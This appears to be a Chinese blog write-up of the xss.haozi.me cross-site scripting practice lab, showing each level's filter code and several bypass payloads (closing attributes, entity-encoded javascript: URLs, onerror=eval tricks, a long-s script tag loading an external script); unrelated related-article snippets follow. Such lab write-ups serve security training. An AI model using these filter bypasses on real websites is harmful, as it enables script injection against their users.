当前位置: 首页 > news >正文

xss.haozi.me靶机练习

目录

第零关:

第一关:

第二关:

第三关:

第四关:

第五关:

第六关:

第七关:

第八关:

第九关:

第十关:

第十一关:

第十二关:

第十三关:

第十四关:

第十五关:

第十六关:

第十七关:

第十八关:


开始我们的训练:

第零关:

首先进入之后有三个地方需要我们关注一下,input code是我们要传参的地方,server code里边是我们的源代码,html是执行代码的结果。

就像这样子哦,我们已经成功注入。

第一关:

源码里使用了textarea,首先想法就是给闭合一下,再执行我们的注入代码

第二关:

源代码:

function render (input) {
  return '<input type="name" value="' + input + '">'
}

一样的思路,我们先将value闭合,然后再注入

"><script>alert(1)</script>

第三关:

源代码分析:

function render (input) {
  const stripBracketsRe = /[()]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

 从服务器端得到stripbracketsRe的作用是将指定的符号替换,这里替换的是(),所以正常使用alert()是不可取的。只能换成其他的,比如``反引号

或者将()给编码一下

<a href="javascript:alert&#40;1&#41;">aaa</a>

第四关:

查看源代码:

function render (input) {
  const stripBracketsRe = /[()`]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

仔细看这一关和上一关就是将`和()给都过滤掉了,那就换一个能代替()的来执行不就行了

<a href="javascript:alert&#40;1&#41;">aaa</a>

这个就可以哦

或者:

<svg><script>alert&#40;1&#41</script></svg>

或者:使用Unicode编码,

  1. window.onerror = eval; 这一行代码将 window.onerror 事件处理程序设置为 eval 函数。eval 函数用于执行传入的字符串作为 JavaScript 代码。
  2. throw '=alert\u00281\u0029' 这一行代码将一个字符串 '=alert\u00281\u0029' 抛出(throw)到 JavaScript 解释器。然后,因为 window.onerror 已经被设置为 eval 函数,所以这个字符串会被当做 JavaScript 代码进行执行。

<script>window.οnerrοr=eval;throw'=alert\u00281\u0029'</script> 

 或者:

<iframe srcdoc="<script>alert&#40;1&#41</script>">

第五关:

源代码

function render (input) {
  input = input.replace(/-->/g, '😂')
  return '<!-- ' + input + ' -->'
}

仔细看

第六关:

源代码:

function render (input) {
  input = input.replace(/auto|on.*=|>/ig, '_')
  return `<input value=1 ${input} type="text">`
}

这个正则将auto、以on开头的所有单词、>都被过滤,所以之前的都不能使用了,这里有个小bagel

 这是要有用户参与,

这个用户就没有参与

第七关:

源代码:

function render (input) {
  const stripTagsRe = /<\/?[^>]+>/gi

  input = input.replace(stripTagsRe, '')
  return `<article>${input}</article>`
}

这个正则是将/、和>给过滤了,所以不能用>了,就找个单标签

第八关:

源代码:

function render (src) {
  src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
  return `
    <style>
      ${src}
    </style>
  `
}

这个是要写在<style>标签里,所以就想将标签给他闭合了,那不就好了,但是有个过滤,这里用一个空格给他绕过,最后这个空格会在html里边被注释掉。

第九关:

源代码:

function render (input) {
  let domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${input}"></script>`
  }
  return 'Invalid URL'
}

这个提示要有一个网址,之后就是一个技巧......

第十关:

源代码:

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f')
  }

  const domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${escapeHtml(input)}"></script>`
  }
  return 'Invalid URL'
}

这个也是要地址。一样的道理。。

第十一关:

源代码:

function render (input) {
  input = input.toUpperCase()
  return `<h1>${input}</h1>`
}

这个就是将我们输入的都转成大写了

第十二关:

源代码:

function render (input) {
  input = input.replace(/script/ig, '')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

这一关就是在上一关的基础上将script也给过滤了,那我们就换一个标签

第十三关:

源代码:

function render (input) {
  input = input.replace(/[</"']/g, '')
  return `
    <script>
          // alert('${input}')
    </script>
  `
}

这一关的输出被注释掉了,那我们在注入的任何东西都不会起作用。但是当我们敲个回车键之后,之后输入的东西就其作用了,注释符在这里就不起作用了。

 注意看这里的括号颜色就能看出来,之后我们注释掉后边的括号,这个注释符只能在句首使用,放到句中就不起作用

第十四关:

源代码:

function render (input) {
  input = input.replace(/<([a-zA-Z])/g, '<_$1')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

这个代码里边首先会将在首字母前加_下划线,所以我们的标签都不能执行,再就是这里将所有的字母都转成了大写。所以这里使用了一个特殊的字符,他这个字符会被转换成s这个字母。

<ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script> 

第十五关:

源代码:

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f;')
  }
  return `<img src οnerrοr="console.error('${escapeHtml(input)}')">`
}

第十六关:

源代码:

function render (input) {
  return `
<script>
  window.data = ${input}
</script>
  `
}

第十七关:

源代码:

// from alf.nu
function render (s) {
  function escapeJs (s) {
    return String(s)
            .replace(/\\/g, '\\\\')
            .replace(/'/g, '\\\'')
            .replace(/"/g, '\\"')
            .replace(/`/g, '\\`')
            .replace(/</g, '\\74')
            .replace(/>/g, '\\76')
            .replace(/\//g, '\\/')
            .replace(/\n/g, '\\n')
            .replace(/\r/g, '\\r')
            .replace(/\t/g, '\\t')
            .replace(/\f/g, '\\f')
            .replace(/\v/g, '\\v')
            // .replace(/\b/g, '\\b')
            .replace(/\0/g, '\\0')
  }
  s = escapeJs(s)
  return `
<script>
  var url = 'javascript:console.log("${s}")'
  var a = document.createElement('a')
  a.href = url
  document.body.appendChild(a)
  a.click()
</script>
`
}

这个看似过滤了一大堆,其实.replace(/"/g, '\\"')在这里没有起到因要的效果。

第十八关:

源代码:

// from alf.nu
function escape (s) {
  s = s.replace(/"/g, '\\"')
  return '<script>console.log("' + s + '");</script>'
}

这里是将/替换成\\注释符,我们利用换行就可以绕过。

相关文章:

xss.haozi.me靶机练习

目录 第零关&#xff1a; 第一关&#xff1a; 第二关&#xff1a; 第三关&#xff1a; 第四关&#xff1a; 第五关&#xff1a; 第六关&#xff1a; 第七关&#xff1a; 第八关&#xff1a; 第九关&#xff1a; 第十关&#xff1a; 第十一关&#xff1a; 第十二关…...

2.1 mov、add和sub加减指令实操体验

汇编语言 1. mov操作 1.1 mov移动值 mov指令把右边的值移动到左边 mount c d:masm c: debug r ax 0034 r 073f:0100 mov ax,7t1.2 mov移动寄存器的值 把右边寄存器的值赋值给左边的寄存器 a 073f:0105 mov bx,axt1.3 mov高八位&#xff08;high&#xff09;和低八位&am…...

计算机设计大赛 深度学习机器视觉车道线识别与检测 -自动驾驶

文章目录 1 前言2 先上成果3 车道线4 问题抽象(建立模型)5 帧掩码(Frame Mask)6 车道检测的图像预处理7 图像阈值化8 霍夫线变换9 实现车道检测9.1 帧掩码创建9.2 图像预处理9.2.1 图像阈值化9.2.2 霍夫线变换 最后 1 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分…...

中间件安全(概述)有中间件的各类链接和官网信息和漏洞库以及配置问题和开源工具

分类主要包括Apache、IIS、Tomcat、weblogic、websphere、Jboss等相关的技术知识和实践。 以Apache为例讲一讲如何保证中间件安全 中间件安全是指保护中间件软件和服务的安全性&#xff0c;防止被恶意攻击或者滥用。中间件软件是指在操作系统和应用程序之间提供通信和集成功能…...

Unity铰链四杆机构设计和运动仿真

一、效果图 设定好各边长度和转速后&#xff0c;点击【设置并启动】&#xff0c;自动生成一个机构模型&#xff0c;并按照原理进行运转 二、铰链四杆机构介绍 机架&#xff1a;A和D是固定位置&#xff0c;叫做机架。 曲柄&#xff1a;B点绕A点旋转&#xff0c;构成曲柄。 连…...

Python爬虫——解析常用三大方式之Xpath

目录 Xpath 安装xpath 安装lxml库 导入lxml库 解析本地文件 etree.parse&#xff08;&#xff09; 解析服务器响应文件 etree.HTML() xpath基本语法 小案例&#xff1a;获取百度首页的百度一下 大案例&#xff1a;爬取站长素材图片 总结 Xpath 安装xpath 首先要学会安…...

C#判断DataTable1 A列的集合是否为DataTable2 B列的集合的子集

DataSet ds2 (DataSet)res2.Anything; // 检查 集合B是否为集合A的子集 var table1MaterialCodes ds.Tables[2].AsEnumerable().Select(row > row["Code"]).ToList(); //DataSet1 表Code列集合A var table2MaterialCodes ds2.Tables[0].AsEnumerable().Selec…...

VirtualBox 桥接网卡 未指定 “未能启动虚拟电脑Ubuntu,由于下述物理网卡未找到:”

解决办法&#xff0c;安装虚拟网卡&#xff0c;win11查找方式&#xff1a;控制面板→网络和共享中心→更改适配器设置 此时出现下面情况就算安装成功 但是如果报错&#xff1a;找不到指定的模块 则按下面步骤删除干净垃圾重新上面操作 先安装CCleaner, 链接:CCleaner Makes Y…...

基于yolov5的电瓶车和自行车检测系统,可进行图像目标检测,也可进行视屏和摄像检测(pytorch框架)【python源码+UI界面+功能源码详解】

功能演示&#xff1a; 基于yolov5的电瓶车和自行车检测系统_哔哩哔哩_bilibili &#xff08;一&#xff09;简介 基于yolov5的电瓶车和自行车检测系统是在pytorch框架下实现的&#xff0c;这是一个完整的项目&#xff0c;包括代码&#xff0c;数据集&#xff0c;训练好的模型…...

vscode如何远程到linux python venv虚拟环境开发?(python虚拟环境、vscode远程开发、vscode远程连接)

文章目录 1. 安装VSCode2. 安装扩展插件3. 配置SSH连接4. 输入用户名和密码5. 打开远程文件夹6. 创建/选择Python虚拟环境7. 安装Python插件 Visual Studio Code (VSCode) 提供了一种称为 Remote Development 的功能&#xff0c;允许用户在远程系统、容器或甚至 Windows 子系统…...

蓝桥杯第十二届电子类单片机组程序设计

目录 前言 蓝桥杯大赛历届真题_蓝桥杯 - 蓝桥云课&#xff08;点击查看&#xff09; 单片机资源数据包_2023&#xff08;点击下载&#xff09; 一、第十二届比赛原题 1.比赛题目 2.题目解读 蓝桥杯第十四届电子类单片机组程序设计_蓝桥杯单片机哪一届最难-CSDN博客 二、…...

基于springboot+vue的工作流程管理系统

博主主页&#xff1a;猫头鹰源码 博主简介&#xff1a;Java领域优质创作者、CSDN博客专家、阿里云专家博主、公司架构师、全网粉丝5万、专注Java技术领域和毕业设计项目实战&#xff0c;欢迎高校老师\讲师\同行交流合作 ​主要内容&#xff1a;毕业设计(Javaweb项目|小程序|Pyt…...

【LeetCode刷题】146. LRU 缓存

请你设计并实现一个满足 LRU (最近最少使用) 缓存 约束的数据结构。 实现 LRUCache 类&#xff1a; LRUCache(int capacity) 以 正整数 作为容量 capacity 初始化 LRU 缓存int get(int key) 如果关键字 key 存在于缓存中&#xff0c;则返回关键字的值&#xff0c;否则返回 -…...

奇酷网络用AI思维办公:不允许做PPT,只能用Word,只能一页纸

在AI时代&#xff0c;视频制作领域正经历着一场革命。Sora 作为首个文生视频大模型&#xff0c;可能攻克了自然语言处理、计算机视觉和深度学习等难点&#xff0c;使视频生成更真实、自然。奇酷网络是一家很另类、很奇怪的“AI游戏”创业公司&#xff0c;奇酷网络董事长吴渔夫(…...

【笔记】-编程语言以及应用领域

C/C 永远不会衰败的语言&#xff0c;适合偏底层&#xff0c;例如&#xff1a;Windows操作系统80%以上都是由C/C完成的&#xff0c;C/C也集成用于写应用层C/S架构的软件 JAVA 是真正的跨平台的语言 “一次编程&#xff0c;到处使用”Java适合应用层的开发&#xff0c;无论是…...

MWC 2024丨美格智能推出5G RedCap系列FWA解决方案,开启5G轻量化新天地

2月27日&#xff0c;在MWC 2024世界移动通信大会上&#xff0c;美格智能正式推出5G RedCap系列FWA解决方案。此系列解决方案具有低功耗、低成本等优势&#xff0c;可以显著降低5G应用复杂度&#xff0c;快速实现5G网络接入&#xff0c;提升FWA部署的经济效益。 RedCap技术带来了…...

mTLS: openssl创建CA证书

证书可以通过openssl或者keytool创建&#xff0c;在本篇文章中&#xff0c;只介绍openssl。 openssl 生成证书 申请操作流程 生成ca证书私钥, 文件名&#xff1a;ca.key生成ca证书&#xff0c;文件名&#xff1a;ca.crt生成Server/Client 证书私钥&#xff0c;文件名&#x…...

Python 进阶语法:os

3.1.1 文件和目录操作 os.getcwd(): 获取当前工作目录的路径。 import os# 获取当前工作目录 current_directory os.getcwd() print("当前工作目录是:", current_directory) os.chdir(path): 改变当前工作目录到指定的路径。 import os# 改变当前工作目录 os.c…...

测试需求平台9-Table 组件应用产品列表优化

✍此系列为整理分享已完结入门搭建《TPM提测平台》系列的迭代版&#xff0c;拥抱Vue3.0将前端框架替换成字节最新开源的arco.design&#xff0c;其中约60%重构和20%新增内容&#xff0c;定位为从 0-1手把手实现简单的测试平台开发教程&#xff0c;内容将囊括基础、扩展和实战&a…...

targetSdkVersion > 30 如何将下载的网络视频 保存到手机相册里更新

在 targetSdkVersion 31 中&#xff0c;将下载的网络视频保存到手机相册中涉及几个关键步骤。由于 Android 12&#xff08;API 级别 31&#xff09;引入了更多的隐私和安全限制&#xff0c;特别是作用域存储&#xff08;Scoped Storage&#xff09;&#xff0c;因此你需要遵循这…...

打字不如说话,说话不如截图——AI 代码助手的多模态输入实践仝

整体排查思路 我们的目标是验证以下三个环节是否正常&#xff1a; 登录成功时&#xff1a;服务器是否正确生成了Session并返回了包含正确 JSESSIONID的Cookie给浏览器。 浏览器端&#xff1a;浏览器是否成功接收并存储了该Cookie。 后续请求&#xff1a;浏览器在执行查询等操作…...

Ubuntu 24.04 上Ollama的部署、模型管理与服务化实战

1. 为什么选择Ollama搭建本地LLM环境 最近两年&#xff0c;大型语言模型&#xff08;LLM&#xff09;的火爆程度有目共睹。但很多开发者遇到一个现实问题&#xff1a;云端API不仅费用高&#xff0c;还存在数据隐私和响应延迟的困扰。这时候Ollama就像及时雨一样出现了——这个不…...

从零构建BJT放大电路:三种组态实战解析与选型指南

1. BJT放大电路基础&#xff1a;从器件特性到放大原理 第一次接触BJT放大电路时&#xff0c;我被那些密密麻麻的电路图和复杂的计算公式搞得头晕眼花。直到亲手搭建了几个实际电路后&#xff0c;才发现理解BJT放大其实没那么难。BJT&#xff08;双极结型晶体管&#xff09;作为…...

AI入门必看|零基础搞懂人工智能核心定义,避开入门误区

摘要&#xff1a;本文专为AI零基础小白打造&#xff0c;用大白话拆解人工智能的核心定义、发展脉络&#xff0c;厘清新手最易混淆的概念&#xff0c;帮你快速建立对AI的正确认知&#xff0c;迈出入门第一步&#xff0c;拒绝被专业术语劝退。关键词&#xff1a;人工智能入门&…...

从噪声到厘米级:GNSS载波相位平滑伪距的工程实践与精度跃迁

1. 从米级到厘米级&#xff1a;GNSS定位精度的关键突破 刚接触GNSS定位时&#xff0c;你可能遇到过这样的困扰&#xff1a;明明设备显示定位精度是1米&#xff0c;实际位置却总在3-5米范围内跳动。这种"飘忽不定"的现象&#xff0c;很大程度上源于原始伪距观测值中的…...

手把手教你用STM32F303和LAN9252搭建EtherCAT从站(附IO、AD、DA完整代码)

从零构建EtherCAT从站&#xff1a;STM32F303与LAN9252实战指南 引言 第一次接触EtherCAT协议时&#xff0c;我被它那毫秒级的同步精度和灵活的拓扑结构所吸引&#xff0c;但随之而来的是一连串的困惑&#xff1a;如何选择合适的硬件平台&#xff1f;协议栈移植有哪些坑&#xf…...

告别烂大街的教程,一文讲清楚XDMA:Windows如何识别你的FPGA板卡为PCIe设备

作为一名FPGA开发或者高速采集领域的工程师&#xff0c;你大概率遇到过这种场景&#xff1a;辛辛苦苦综合好FPGA工程&#xff0c;把板子插到PCIE插槽上&#xff0c;装好官方驱动&#xff0c;设备管理器里不是弹出黄色叹号就是直接写着“未知设备”。 这个时候你去网上找教程&am…...

Visio中高效导出无白边SVG矢量图的完整指南

1. 为什么需要无白边SVG矢量图&#xff1f; 写论文或者做演示文稿时&#xff0c;经常需要在文档中插入各种图表。Visio作为一款专业的绘图工具&#xff0c;能够帮助我们快速创建流程图、架构图等专业图形。但直接将Visio图形导出为SVG格式时&#xff0c;往往会发现图片周围有大…...

Vivado2020.2与Modelsim2020.4联合仿真实战:从安装到避坑指南

1. 环境准备与安装避坑指南 刚接触FPGA开发的朋友们&#xff0c;肯定对Vivado和Modelsim这对黄金搭档不陌生。但说实话&#xff0c;我第一次用Vivado2020.2和Modelsim2020.4做联合仿真时&#xff0c;差点被各种坑给劝退。今天我就把踩过的坑和解决方案都整理出来&#xff0c;让…...

从零开始:在CentOS 7上使用Docker快速搭建OpenVAS漏洞扫描环境(附详细配置步骤)

从零构建企业级漏洞扫描平台&#xff1a;CentOS 7DockerOpenVAS全实战指南 在网络安全日益重要的今天&#xff0c;漏洞扫描已成为企业IT基础设施的标配防护手段。OpenVAS作为开源的漏洞评估系统&#xff0c;凭借其全面的漏洞检测能力和持续更新的漏洞数据库&#xff0c;成为众多…...